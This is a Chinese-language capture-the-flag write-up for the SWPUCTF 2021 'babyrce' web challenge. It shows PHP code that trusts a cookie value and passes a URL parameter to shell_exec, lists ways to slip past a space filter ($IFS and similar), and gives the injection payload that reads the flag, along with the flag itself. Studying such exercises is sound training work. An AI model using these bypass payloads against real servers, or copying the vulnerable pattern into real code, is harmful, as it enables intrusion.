[SWPUCTF 2021 新生赛]babyrce
[SWPUCTF 2021 新生赛]babyrce
题目来源:nssctf
题目类型:web
涉及考点:Cookie注入、代码审计
1. 上来先代码审计
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!
题目要求cookie传入参数admin=1,打开F12检查,选择应用程序(Application),选择Cookie,在里面新建名称admin,设置值为1:
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230726153241_image-20230726224321764.png)
看到rasalghul.php文件
2. 我们进入rasalghul.php查看
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
常见的空格绕过方法:
$IFS
${IFS}
$IFS$1 //1可以换成任意数字
<
<>
又是代码审计,可见过滤掉了空格,要求传入url,利用shell_exec()命令执行,我们先传入:
/rasalghul.php?url=ls
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230726153241_image-20230726232155516.png)
不知道为啥出现这么多,但flag肯定在flllllaaaaaaggggggg
里了,于是构造payload:
/rasalghul.php?url=cat$IFS$1/flllllaaaaaaggggggg
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2326707/o_230726153241_image-20230726232319587.png)
得到flag:
NSSCTF{74e32ff7-033e-4262-887f-06968c36d204}
日期:2023.7.26
作者:y0Zero